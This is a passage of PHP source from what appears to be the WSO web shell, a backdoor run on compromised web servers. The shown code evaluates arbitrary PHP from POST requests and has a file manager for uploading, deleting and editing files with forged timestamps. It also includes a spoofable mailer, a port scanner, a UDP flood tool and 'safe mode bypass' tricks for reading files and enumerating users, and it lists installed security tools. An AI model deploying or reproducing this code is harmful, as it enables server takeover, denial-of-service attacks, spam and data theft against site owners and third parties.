 419             $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
 420             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
 421            echo '<br>';
 422            $temp=array();
 423            foreach ($userful as $item)
 424                if(wsoWhich($item))
 425                     $temp[] = $item;
 426            wsoSecParam('Userful', implode(', ',$temp));
 427            $temp=array();
 428            foreach ($danger as $item)
 429                if(wsoWhich($item))
 430                     $temp[] = $item;
 431            wsoSecParam('Danger', implode(', ',$temp));
 432            $temp=array();
 433            foreach ($downloaders as $item)
 434                if(wsoWhich($item))
 435                     $temp[] = $item;
 436            wsoSecParam('Downloaders', implode(', ',$temp));
 437            echo '<br/>';
 438             wsoSecParam('HDD space', wsoEx('df -h'));
 439            wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
 440        }
 441    } else {
 442        wsoSecParam('OS Version',wsoEx('ver'));
 443        wsoSecParam('Account Settings',wsoEx('net accounts'));
 444        wsoSecParam('User Accounts',wsoEx('net user'));
 445    }
 446    echo '</div>';
 447    wsoFooter();
 448 }
 449 
 450 function actionphptools() {
 451 wsoHeader();
 452 ?><center><?php
 453 //mailer
 454 echo '<b>Mailer</b><br>
 455 <form action="'.$surl.'" method=POST>
 456 <input type="hidden" name="a" value="phptools">
 457 <input type=text name=to value=to><br>
 458 <input type=text name=from value=from><br>
 459 <input type=text name=subject value=subject><br>
 460 <input type=text name=body value=body><br>
 461 <input type=submit name=submit value=Submit></form>';
 462 if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
 463    $headers = 'From: '.$_POST['from'];
 464    mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
 465    echo 'Email sent.';
 466 }
 467 
 468 //port scanner
 469 echo '<br><b>Port Scanner</b><br>';
 470 $start = strip_tags($_POST['start']);
 471 $end = strip_tags($_POST['end']);
 472 $host = strip_tags($_POST['host']);
 473 
 474 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
 475 for($i = $start; $i<=$end; $i++){
 476    $fp = @fsockopen($host, $i, $errno, $errstr, 3);
 477    if($fp){
 478        echo 'Port '.$i.' is <font color=green>open</font><br>';
 479    }
 480    flush();
 481    }
 482 }else{
 483 ?>
 484 <form action="?" method="POST">
 485 <input type="hidden" name="a" value="phptools">
 486 Host:<br />
 487 <input type="text" name="host" value="localhost"/><br />
 488 Port start:<br />
 489 <input type="text" name="start" value="0"/><br />
 490 Port end:<br />
 491 <input type="text" name="end" value="5000"/><br />
 492 <input type="submit" value="Scan Ports" />
 493 </form>
 494 <?php
 495 }
 496 
 497 //UDP
 498 if(isset($_POST['host'])&&is_numeric($_POST['time'])){
 499    $pakits = 0;
 500    ignore_user_abort(TRUE);
 501    set_time_limit(0);
 502    
 503    $exec_time = $_POST['time'];
 504    
 505    $time = time();
 506    //print "Started: ".time('h:i:s')."<br>";
 507    $max_time = $time+$exec_time;
 508 
 509    $host = $_POST['host'];
 510    
 511    for($i=0;$i<65000;$i++){
 512            $out .= 'X';
 513    }
 514    while(1){
 515    $pakits++;
 516            if(time() > $max_time){
 517                    break;
 518            }
 519            $rand = rand(1,65000);
 520            $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
 521            if($fp){
 522                    fwrite($fp, $out);
 523                    fclose($fp);
 524            }
 525    }
 526    echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
 527    echo '<br><br>
 528       <form action="'.$surl.'" method=POST>
 529       <input type="hidden" name="a" value="phptools">
 530       Host: <input type=text name=host value=localhost>
 531       Length (seconds): <input type=text name=time value=9999>
 532       <input type=submit value=Go></form>';
 533 }else{ echo '<br><b>UDP Flood</b><br>
 534           <form action=? method=POST>
 535           <input type="hidden" name="a" value="phptools">
 536           Host: <br><input type=text name=host value=localhost><br>
 537           Length (seconds): <br><input type=text name=time value=9999><br>
 538           <input type=submit value=Go></form>';
 539 }
 540 ?></center><?php
 541 wsoFooter();}
 542 function actionPhp() {
 543    if(isset($_POST['ajax'])) {
 544        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
 545        ob_start();
 546        eval($_POST['p1']);
 547        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'&#92;&#48;") . "';\n";
 548        echo strlen($temp), "\n", $temp;
 549        exit;
 550    }
 551    wsoHeader();
 552    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
 553        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
 554        ob_start();
 555        phpinfo();
 556        $tmp = ob_get_clean();
 557         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
 558        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
 559        echo str_replace('<h1','<h2', $tmp) .'</div><br>';
 560    }
 561    if(empty($_POST['ajax']) && !empty($_POST['p1']))
 562        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
 563     echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
 564    echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
 565    if(!empty($_POST['p1'])) {
 566        ob_start();
 567        eval($_POST['p1']);
 568        echo htmlspecialchars(ob_get_clean());
 569    }
 570    echo '</pre></div>';
 571    wsoFooter();
 572 }
 573 
 574 function actionFilesMan() {
 575    wsoHeader();
 576    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
 577    if(!empty($_POST['p1'])) {
 578        switch($_POST['p1']) {
 579            case 'uploadFile':
 580                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
 581                    echo "Can't upload file!";
 582                break;
 583            case 'mkdir':
 584                if(!@mkdir($_POST['p2']))
 585                    echo "Can't create new dir";
 586                break;
 587            case 'delete':
 588                function deleteDir($path) {
 589                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
 590                    $dh  = opendir($path);
 591                    while ( ($item = readdir($dh) ) !== false) {
 592                        $item = $path.$item;
 593                        if ( (basename($item) == "..") || (basename($item) == ".") )
 594                            continue;
 595                        $type = filetype($item);
 596                        if ($type == "dir")
 597                            deleteDir($item);
 598                        else
 599                            @unlink($item);
 600                    }
 601                    closedir($dh);
 602                    @rmdir($path);
 603                }
 604                if(is_array(@$_POST['f']))
 605                    foreach($_POST['f'] as $f) {
 606                         if($f == '..')
 607                             continue;
 608                        $f = urldecode($f);
 609                        if(is_dir($f))
 610                            deleteDir($f);
 611                        else
 612                            @unlink($f);
 613                    }
 614                break;
 615            case 'paste':
 616                if($_SESSION['act'] == 'copy') {
 617                    function copy_paste($c,$s,$d){
 618                        if(is_dir($c.$s)){
 619                            mkdir($d.$s);
 620                            $h = @opendir($c.$s);
 621                            while (($f = @readdir($h)) !== false)
 622                                if (($f != ".") and ($f != ".."))
 623                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
 624                        } elseif(is_file($c.$s))
 625                            @copy($c.$s, $d.$s);
 626                    }
 627                    foreach($_SESSION['f'] as $f)
 628                        copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
 629                } elseif($_SESSION['act'] == 'move') {
 630                    function move_paste($c,$s,$d){
 631                        if(is_dir($c.$s)){
 632                            mkdir($d.$s);
 633                            $h = @opendir($c.$s);
 634                            while (($f = @readdir($h)) !== false)
 635                                if (($f != ".") and ($f != ".."))
 636                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
 637                        } elseif(@is_file($c.$s))
 638                            @copy($c.$s, $d.$s);
 639                    }
 640                    foreach($_SESSION['f'] as $f)
 641                        @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
 642                } elseif($_SESSION['act'] == 'zip') {
 643                    if(class_exists('ZipArchive')) {
 644                         $zip = new ZipArchive();
 645                         if ($zip->open($_POST['p2'], 1)) {
 646                             chdir($_SESSION['c']);
 647                             foreach($_SESSION['f'] as $f) {
 648                                 if($f == '..')
 649                                     continue;
 650                                 if(@is_file($_SESSION['c'].$f))
 651                                     $zip->addFile($_SESSION['c'].$f, $f);
 652                                 elseif(@is_dir($_SESSION['c'].$f)) {
 653                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
 654                                     foreach ($iterator as $key=>$value) {
 655                                         $zip->addFile(realpath($key), $key);
 656                                     }
 657                                 }
 658                             }
 659                             chdir($GLOBALS['cwd']);
 660                             $zip->close();
 661                         }
 662                     }
 663                } elseif($_SESSION['act'] == 'unzip') {
 664                    if(class_exists('ZipArchive')) {
 665                         $zip = new ZipArchive();
 666                         foreach($_SESSION['f'] as $f) {
 667                             if($zip->open($_SESSION['c'].$f)) {
 668                                 $zip->extractTo($GLOBALS['cwd']);
 669                                 $zip->close();
 670                             }
 671                         }
 672                     }
 673                } elseif($_SESSION['act'] == 'tar') {
 674                     chdir($_SESSION['c']);
 675                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
 676                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
 677                     chdir($GLOBALS['cwd']);
 678                }
 679                unset($_SESSION['f']);
 680                break;
 681            default:
 682                 if(!empty($_POST['p1'])) {
 683                    $_SESSION['act'] = @$_POST['p1'];
 684                    $_SESSION['f'] = @$_POST['f'];
 685                    foreach($_SESSION['f'] as $k => $f)
 686                        $_SESSION['f'][$k] = urldecode($f);
 687                    $_SESSION['c'] = @$_POST['c'];
 688                }
 689                break;
 690        }
 691    }
 692    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
 693    if($dirContent === false) {   echo 'Can\'t open this folder!';wsoFooter(); return; }
 694    global $sort;
 695    $sort = array('name', 1);
 696    if(!empty($_POST['p1'])) {
 697        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
 698            $sort = array($match[1], (int)$match[2]);
 699    }
 700 echo "<script>
 701   function sa() {
 702       for(i=0;i<d.files.elements.length;i++)
 703           if(d.files.elements[i].type == 'checkbox')
 704               d.files.elements[i].checked = d.files.elements[0].checked;
 705   }
 706 
 707 </script>
 708 <table width='100%' class='main' cellspacing='0' cellpadding='2'>
 709 <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
 710    $dirs = $files = array();
 711    $n = count($dirContent);
 712    for($i=0;$i<$n;$i++) {
 713        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
 714        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
 715        $tmp = array('name' => $dirContent[$i],
 716                     'path' => $GLOBALS['cwd'].$dirContent[$i],
 717                     'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
 718                     'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
 719                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
 720                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
 721                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
 722                    );
 723        if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
 724            $files[] = array_merge($tmp, array('type' => 'file'));
 725        elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
 726            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
 727        elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
 728            $dirs[] = array_merge($tmp, array('type' => 'dir'));
 729    }
 730    $GLOBALS['sort'] = $sort;
 731    function wsoCmp($a, $b) {
 732        if($GLOBALS['sort'][0] != 'size')
 733            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
 734        else
 735            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
 736    }
 737    usort($files, "wsoCmp");
 738    usort($dirs, "wsoCmp");
 739    $files = array_merge($dirs, $files);
 740    $l = 0;
 741    foreach($files as $f) {
 742        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
 743            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
 744        $l = $l?0:1;
 745    }
 746    echo "<tr><td colspan=7>
 747 
 748   <input type=hidden name=a value='FilesMan'>
 749   <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
 750   <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
 751   <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
 752     if(class_exists('ZipArchive'))
 753         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
 754     echo "<option value='tar'>Compress (tar.gz)</option>";
 755     if(!empty($_SESSION['act']) && @count($_SESSION['f']))
 756         echo "<option value='paste'>Paste / Compress</option>";
 757     echo "</select>&nbsp;";
 758     if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
 759         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
 760     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
 761    wsoFooter();
 762 }
 763 
 764 function actionStringTools() {
 765    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
 766     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
 767    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
 768    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('X',ord($p[$i]));return strtoupper($r);}}
 769    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
 770    $stringTools = array(
 771        'Base64 encode' => 'base64_encode',
 772        'Base64 decode' => 'base64_decode',
 773        'Url encode' => 'urlencode',
 774        'Url decode' => 'urldecode',
 775        'Full urlencode' => 'full_urlencode',
 776        'md5 hash' => 'md5',
 777        'sha1 hash' => 'sha1',
 778        'crypt' => 'crypt',
 779        'CRC32' => 'crc32',
 780        'ASCII to HEX' => 'ascii2hex',
 781        'HEX to ASCII' => 'hex2ascii',
 782        'HEX to DEC' => 'hexdec',
 783        'HEX to BIN' => 'hex2bin',
 784        'DEC to HEX' => 'dechex',
 785        'DEC to BIN' => 'decbin',
 786        'BIN to HEX' => 'binhex',
 787        'BIN to DEC' => 'bindec',
 788        'String to lower case' => 'strtolower',
 789        'String to upper case' => 'strtoupper',
 790        'Htmlspecialchars' => 'htmlspecialchars',
 791        'String length' => 'strlen',
 792    );
 793    if(isset($_POST['ajax'])) {
 794        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
 795        ob_start();
 796        if(in_array($_POST['p1'], $stringTools))
 797            echo $_POST['p1']($_POST['p2']);
 798        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'&#92;&#48;")."';\n";
 799        echo strlen($temp), "\n", $temp;
 800        exit;
 801    }
 802    wsoHeader();
 803    echo '<h1>String conversions</h1><div class=content>';
 804    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
 805        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
 806    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
 807    foreach($stringTools as $k => $v)
 808        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
 809        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
 810    if(!empty($_POST['p1'])) {
 811        if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
 812    }
 813    echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
 814 
 815       <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
 816           <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
 817           <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
 818           <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
 819           <tr><td></td><td><input type='submit' value='>>'></td></tr>
 820           </table></form>";
 821 
 822    function wsoRecursiveGlob($path) {
 823        if(substr($path, -1) != '/')
 824            $path.='/';
 825        $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
 826        if(is_array($paths)&&@count($paths)) {
 827            foreach($paths as $item) {
 828                if(@is_dir($item)){
 829                    if($path!=$item)
 830                        wsoRecursiveGlob($item);
 831                } else {
 832                    if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
 833                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
 834                }
 835            }
 836        }
 837    }
 838    if(@$_POST['p3'])
 839        wsoRecursiveGlob($_POST['c']);
 840    echo "</div><br><h1>Search for hash:</h1><div class=content>
 841 
 842       <form method='post' target='_blank' name='hf'>
 843           <input type='text' name='hash' style='width:200px;'><br>
 844           <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
 845           <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
 846           <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
 847           <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
 848           <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
 849       </form></div>";
 850    wsoFooter();
 851 }
 852 
 853 function actionFilesTools() {
 854    if( isset($_POST['p1']) )
 855        $_POST['p1'] = urldecode($_POST['p1']);
 856    if(@$_POST['p2']=='download') {
 857        if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
 858            ob_start("ob_gzhandler", 4096);
 859            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
 860            if (function_exists("mime_content_type")) {
 861                $type = @mime_content_type($_POST['p1']);
 862                header("Content-Type: " . $type);
 863            } else
 864                 header("Content-Type: application/octet-stream");
 865            $fp = @fopen($_POST['p1'], "r");
 866            if($fp) {
 867                while(!@feof($fp))
 868                    echo @fread($fp, 1024);
 869                fclose($fp);
 870            }
 871        }exit;
 872    }
 873    if( @$_POST['p2'] == 'mkfile' ) {
 874        if(!file_exists($_POST['p1'])) {
 875            $fp = @fopen($_POST['p1'], 'w');
 876            if($fp) {
 877                $_POST['p2'] = "edit";
 878                fclose($fp);
 879            }
 880        }
 881    }
 882    wsoHeader();
 883    echo '<h1>File tools</h1><div class=content>';
 884    if( !file_exists(@$_POST['p1']) ) {
 885        echo 'File not exists';
 886        wsoFooter();
 887        return;
 888    }
 889    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
 890    if(!$uid) {
 891        $uid['name'] = @fileowner($_POST['p1']);
 892        $gid['name'] = @filegroup($_POST['p1']);
 893    } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
 894    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
 895    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
 896    if( empty($_POST['p2']) )
 897        $_POST['p2'] = 'view';
 898    if( is_file($_POST['p1']) )
 899        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
 900    else
 901        $m = array('Chmod', 'Rename', 'Touch');
 902    foreach($m as $v)
 903        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
 904    echo '<br><br>';
 905    switch($_POST['p2']) {
 906        case 'view':
 907            echo '<pre class=ml1>';
 908            $fp = @fopen($_POST['p1'], 'r');
 909            if($fp) {
 910                while( !@feof($fp) )
 911                    echo htmlspecialchars(@fread($fp, 1024));
 912                @fclose($fp);
 913            }
 914            echo '</pre>';
 915            break;
 916        case 'highlight':
 917            if( @is_readable($_POST['p1']) ) {
 918                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
 919                $code = @highlight_file($_POST['p1'],true);
 920                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
 921            }
 922            break;
 923        case 'chmod':
 924            if( !empty($_POST['p3']) ) {
 925                $perms = 0;
 926                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
 927                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
 928                if(!@chmod($_POST['p1'], $perms))
 929                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
 930            }
 931            clearstatcache();
 932            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
 933            break;
 934        case 'edit':
 935            if( !is_writable($_POST['p1'])) {
 936                echo 'File isn\'t writeable';
 937                break;
 938            }
 939            if( !empty($_POST['p3']) ) {
 940                $time = @filemtime($_POST['p1']);
 941                $_POST['p3'] = substr($_POST['p3'],1);
 942                $fp = @fopen($_POST['p1'],"w");
 943                if($fp) {
 944                    @fwrite($fp,$_POST['p3']);
 945                    @fclose($fp);
 946                    echo 'Saved!<br><script>p3_="";</script>';
 947                    @touch($_POST['p1'],$time,$time);
 948                }
 949            }
 950            echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
 951            $fp = @fopen($_POST['p1'], 'r');
 952            if($fp) {
 953                while( !@feof($fp) )
 954                    echo htmlspecialchars(@fread($fp, 1024));
 955                @fclose($fp);
 956            }
 957            echo '</textarea><input type=submit value=">>"></form>';
 958            break;
 959        case 'hexdump':
 960            $c = @file_get_contents($_POST['p1']);
 961            $n = 0;
 962            $h = array('00000000<br>','','');
 963            $len = strlen($c);
 964            for ($i=0; $i<$len; ++$i) {
 965                $h[1] .= sprintf('X',ord($c[$i])).' ';
 966                switch ( ord($c[$i]) ) {
 967                    case 0:  $h[2] .= ' '; break;
 968                    case 9:  $h[2] .= ' '; break;
 969                    case 10: $h[2] .= ' '; break;
 970                    case 13: $h[2] .= ' '; break;
 971                    default: $h[2] .= $c[$i]; break;
 972                }
 973                $n++;
 974                if ($n == 32) {
 975                    $n = 0;
 976                    if ($i+1 < $len) {$h[0] .= sprintf('X',$i+1).'<br>';}
 977                    $h[1] .= '<br>';
 978                    $h[2] .= "\n";
 979                }
 980            }
 981            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
 982            break;
 983        case 'rename':
 984            if( !empty($_POST['p3']) ) {
 985                if(!@rename($_POST['p1'], $_POST['p3']))
 986                    echo 'Can\'t rename!<br>';
 987                else
 988                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
 989            }
 990            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
 991            break;
 992        case 'touch':
 993            if( !empty($_POST['p3']) ) {
 994                $time = strtotime($_POST['p3']);
 995                if($time) {
 996                    if(!touch($_POST['p1'],$time,$time))
 997                        echo 'Fail!';
 998                    else
 999                        echo 'Touched!';
1000                } else echo 'Bad time format!';
1001            }
1002            clearstatcache();
1003            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1004            break;
1005    }
1006    echo '</div>';
1007    wsoFooter();
1008 }
1009 
1010 function actionSafeMode() {
1011    $temp='';
1012    ob_start();
1013    switch($_POST['p1']) {
1014        case 1:
1015            $temp=@tempnam($test, 'cx');
1016            if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1017                echo @file_get_contents($temp);
1018                unlink($temp);
1019            } else
1020                echo 'Sorry... Can\'t open file';
1021            break;
1022        case 2:
1023            $files = glob($_POST['p2'].'*');
1024            if( is_array($files) )
1025                foreach ($files as $filename)
1026                    echo $filename."\n";
1027            break;
1028        case 3:
1029            $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1030            curl_exec($ch);
1031            break;
1032        case 4:
1033            ini_restore("safe_mode");
1034            ini_restore("open_basedir");
1035            include($_POST['p2']);
1036            break;
1037        case 5:
1038            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1039                $uid = @posix_getpwuid($_POST['p2']);
1040                if ($uid)
1041                    echo join(':',$uid)."\n";
1042            }
1043            break;
1044    }
1045    $temp = ob_get_clean();
1046    wsoHeader();
1047    echo '<h1>Safe mode bypass</h1><div class=content>';
1048    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1049    if($temp)
